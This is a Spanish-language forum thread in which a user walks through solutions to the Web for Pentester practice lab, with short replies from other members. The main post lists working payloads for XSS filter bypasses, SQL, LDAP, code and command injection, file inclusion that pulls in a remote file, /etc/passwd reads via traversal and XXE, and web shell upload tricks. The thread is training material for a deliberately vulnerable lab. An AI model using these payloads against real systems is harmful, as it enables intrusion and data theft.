WebForPentesters

  • 7 Respuestas
  • 6255 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado rollth

  • *
  • Ex-Staff
  • *****
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

WebForPentesters

  • en: Noviembre 14, 2016, 04:28:50 pm
Muy buenas, en este post voy a mostrar como se podrían resolver los retos de You are not allowed to view links. Register or Login.
Este reto más que de explotar algún tipo de vulnerabilidad sirve para aprender a saltar los filtros típicos. Si no conoces alguna de las vulnerabilidades de los retos puedes mirar los links que dejo.



You are not allowed to view links. Register or Login

Reto XSS 1

Este primero es sencillo y con un simple payload en el parametro name nos saltaría la alerta.
"/xss/example1.php?name=<script>alert(document.domain)</script>"

Reto XSS 2

En este caso hay un filtro que se encarga de eliminar si se encuentra algo que sea: "<script>" o "</script>", por lo tanto vamos a usar mayúsculas.
"/xss/example2.php?name=<sCript>alert(document.domain);</Script>"

Reto XSS 3

Ahora igual que antes elimina cuando encuentra <script>, pero también elimina si ve mayuscula, para ello dentro de la etiqueta meteremos otra etiqueta, así no será capaz de detectar la de fuera, y al borrar la de dentro  saltará la alerta.
"/xss/example2.php?name=<scri<script>pt>alert(document.domain);</scrip</script>t>"

Reto XSS 4

En este si encuentra <script> en lugar de borrarlo, da un error, en este caso vamos a usar una etiqueta HTML y un You are not allowed to view links. Register or Login
"/xss/example4.php?name=<body onload=alert(document.domain)>XSS</body>"

Reto XSS 5

En este caso también filtra la función alert, podemos usar otra diferente pero que haga lo que nosotros queremos. You are not allowed to view links. Register or Login
"/xss/example5.php?name=<body onload=prompt("document.domain")>XSS</body>"

Reto XSS 6

La verdad no se cual es la diferencia con el reto anterior, también funciona el payload anterior.

Reto XSS 7

En este caso el valor que introduzcas se introduce en una variable de javascript: "<script>var $a= 'input';"</script>. Para hacer que salte la alerta solo tenemos que añadirle la función y abrir unas comillas para que las se cierre por el filtro.
"/xss/example7.php?name=a';alert(document.domain); var $b= 'b"

Reto XSS 8

Este es un poco más complicado, la web una función de php que se llama You are not allowed to view links. Register or Login se usa mucho para en un metodo POST escribir en el HTML que donde va a enviar los valores por método POST es así mismo, modificando la URL se puede hacer saltar una XSS.
"/xss/example8.php/"><script>alert(document.domain)</script>"

Reto XSS 9

Este igual, simplemente ponemos el payload después del '#'. Yo no he conseguido que me funcione en versiones actuales de Firefox o de Chrome, solo con ie.

/xss/example9.php#<script>alert(document.domain)</script>





You are not allowed to view links. Register or Login Y You are not allowed to view links. Register or Login

Reto RFI

Yo voy a usar para esto un archivo con el siguiente código:

Código: PHP
  1.  <?php
  2. echo '<p>Hola Mundo</p>';
  3. ?>

Esto se sube a un servidor privado y ya podemos pasar el reto.

"/fileincl/example1.php?page=http://prueba.es/a.txt"



Reto LFI

Este reto es muy sencillito, solo vamos a accerder a passwd a través de este payload.
/fileincl/example2.php?page=../../../etc/passwd%00




You are not allowed to view links. Register or Login

Reto LDAP 1

Este reto es sencillito, se valida con los datos que se envian por la URL, esta validación se puede bypassear simplemente no enviando nada.
"/ldap/example1.php"

Reto LDAP 2

En este es igual, ya que no sabemos la contraseñas nos vamos a deshacer de esa petición, para esto vamos a cerrar con %00. Ahora pongamos la contraseña que pongamos nos va a dejar entrar.
"/ldap/example2.php?name=hacker))%00&password=p"




You are not allowed to view links. Register or Login

Reto SQLi 1

Este no tiene ningún tipo de filtro y obviamente el parámetro que enviamos es un String, así que colocaremos una tautología y un comentario para que se nos muestren todos los usuarios.
"/sqli/example1.php?name=' or 1=1-- -"

Reto SQLi 2

Ahora no nos deja colocar espacios, bueno, simplemente vamos a hacer el mismo payload sin espacios, solo que la tautología la vamos a poner comparando strings para que se cierre.
"/sqli/example2.php?name='or'1'='1"

Reto SQLi 3

Aquí también funciona usando el filtro anterior.

Reto SQLi 4

Ahora tampoco tiene ningún filtro, pero la difencia es que ahora funciona por un Integer y no por un String, por lo tanto no hay que tener en cuenta el cierre de comillas final.
"/sqli/example4.php?id=2 or 1=1"

Reto SQLi 5 y 6

También funciona usando el payload anterior.

Reto SQLi 7

Este comprueba que lo que se ha introducido sea un Integer, para saltar este filtro vamos a añadir un salto de línea: "%0A" antes de la tautología para que no la valore el filtro, pero si la consulta.
"/sqli/example7.php?id=2%0A or 1=1"

Reto SQLi 8 y 9

Al mostrar directamente todo he estado intentando hacer que solo muestre un elemento con UNION, pero no lo he conseguido, si alguien sabe como se completa este que me avise.



You are not allowed to view links. Register or Login

Reto Code injection 1

Aquí igual que en todos los primeros no hay ningún filtro, solamente tenemos que ocupar bien de que las comillas queden bien abiertas, ya que el propio código ahora las cierra.
/codeexec/example1.php?name=Rollth";phpinfo();$a="a


Reto Code injection 2

Antes él codigo usaba eval, ahora está usando la función usort (podemos verlo si colocamos el payload anterior), y esta va aser la que vamos a cerrar para que todo salga bien, para ello nos vamos a ayudar de un comentario.
"/codeexec/example2.php?order=id);}phpinfo();%23"

Reto Code injection 3

Este tampoco he sido capaz de resolverlo, si alguien lo sabe que me pase la solución.

Reto Code injection 4

Ahora si ponemos un punto nos dará un error que nos dirá que la función que usa es la función assert, pues vamos a  ayudarnostambién de los comentarios.
"/codeexec/example4.php?name=hacker'.phpinfo();%23"



You are not allowed to view links. Register or Login


Reto File Upload 1

Este es sencillo, solo tenemos que mandar la shell en php que nos guste y lo tenemos hecho.

Reto File Upload 2

En este caso tienen filtrados los archivos php, entonces lo que vamos a hacer es cambiarle la extensión a otra que pueda ejecutar php, como por ejemplo phtml.



You are not allowed to view links. Register or Login

Reto Directory traversal 1

Bueno, para resolver este reto solo tenemos que poner el path del archivo que queremos leer.
"/dirtrav/example1.php?file=../sqli/example4.php"

Reto Directory traversal 2

Este es igual de sencillo, solo que tenemos que modificar el path de la foto por el de nuestro archivo y ya podemos entrar a verlo.
/dirtrav/example2.php?file=/var/www/files/../sqli/example4.php

Reto Directory traversal 3

En este caso la terminación del archivo la da el código. Para leer nuestro archivo php vamos a añadirle al final de nuestro path un salto de linea.
/dirtrav/example3.php?file=/../sqli/example4.php%00



You are not allowed to view links. Register or Login

Reto Commands injection 1

Este primero es solo añadir a la ip el comando que queremos hacer.
"/commandexec/example1.php?ip=127.0.0.1;ls;"

Reto Commands injection 2

Ahora tiene un filtro que si añades algo que no sea la IP da un fallo, pero se puede saltar añadiendo un salto de linea.
"/commandexec/example2.php?ip=127.0.0.1%0Als"

Reto Commands injection 3

Ahora lo que hace es recargar la web si lanzas algo además de la IP, para obtener los resultaso antes de que recargue vamos a usar ncat.

"ncat 192.168.1.23 80
GET /commandexec/example3.php?ip=127.0.0.1%0Als"





You are not allowed to view links. Register or Login


Reto XML attacks 1

Ahora vamos a crear con xml una  variable en la que vamos a meter el archivo /etc/passwd y lo vamos a mostrar, seria con el siguiente payload que tenemos que You are not allowed to view links. Register or Login.
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

"/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E"

Reto XML attacks 2

Para este último vamos a hacer que nos muestre todos los usuarios, para ellos al igual que en las inyecciones SQL vamos a usar una tautología.

/xml/example2.php?name=hacker' or 2=2]%00


Ya habríamos acabado el reto.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.
« Última modificación: Abril 01, 2018, 10:21:00 am por rollth »

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 991
  • Actividad:
    33.33%
  • Country: 00
  • Reputación 22
  • A las personas se las conoce por sus heridas...
  • Twitter: @hira_io
    • Ver Perfil
    • Red Hira! La red mágica de IRC
    • Email

Re:WebForPentesters

  • en: Noviembre 15, 2016, 09:13:15 am
Muy prolijo y laborioso tu aporte @You are not allowed to view links. Register or Login , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela
« Última modificación: Noviembre 15, 2016, 09:27:26 am por Gabriela »

Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.

Desconectado grep

  • *
  • Underc0der
  • Mensajes: 188
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
    • Grep's personal site

Re:WebForPentesters

  • en: Noviembre 15, 2016, 09:31:16 am
A favoritos,

Gracias @You are not allowed to view links. Register or Login

Saludos

Desconectado rollth

  • *
  • Ex-Staff
  • *****
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:WebForPentesters

  • en: Noviembre 15, 2016, 09:35:17 am
You are not allowed to view links. Register or Login
Muy prolijo y laborioso tu aporte @You are not allowed to view links. Register or Login , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela

You are not allowed to view links. Register or Login
A favoritos,

Gracias @You are not allowed to view links. Register or Login

Saludos

Muchas gracias a los dos, así da gusto gastar el tiempo para escribir posts :D

Saludos.

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1967
  • Actividad:
    33.33%
  • Country: es
  • Reputación 16
    • Ver Perfil

Re:WebForPentesters

  • en: Noviembre 17, 2016, 07:19:09 am
Muy bueno @You are not allowed to view links. Register or Login, para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.


Desconectado HATI

  • *
  • Moderador Global
  • Mensajes: 453
  • Actividad:
    3.33%
  • Reputación 13
    • Ver Perfil

Re:WebForPentesters

  • en: Noviembre 17, 2016, 07:42:24 am
Buenísimo @You are not allowed to view links. Register or Login, a favoritos  ;D


Jugar o perder

Desconectado d0r127

  • *
  • Underc0der
  • Mensajes: 116
  • Actividad:
    0%
  • Reputación 1
  • Sin hocico y paranoico
    • Ver Perfil

Re:WebForPentesters

  • en: Noviembre 17, 2016, 11:35:30 am
Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..



¿Alguna sugerencia?

Un saludo :)

Desconectado rollth

  • *
  • Ex-Staff
  • *****
  • Mensajes: 876
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
  • Twitter: @RoloMijan
    • Ver Perfil
    • Whateversec
    • Email

Re:WebForPentesters

  • en: Noviembre 18, 2016, 12:12:37 am
You are not allowed to view links. Register or Login
Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..



¿Alguna sugerencia?

Un saludo :)

Prueba en la pestaña avanzada a ponerlo en modo promiscuo.
You are not allowed to view links. Register or Login
Buenísimo

@You are not allowed to view links. Register or Login, a favoritos  ;D

Muchas gracias :D

You are not allowed to view links. Register or Login
Muy bueno @You are not allowed to view links. Register or Login, para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.

Así es.

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login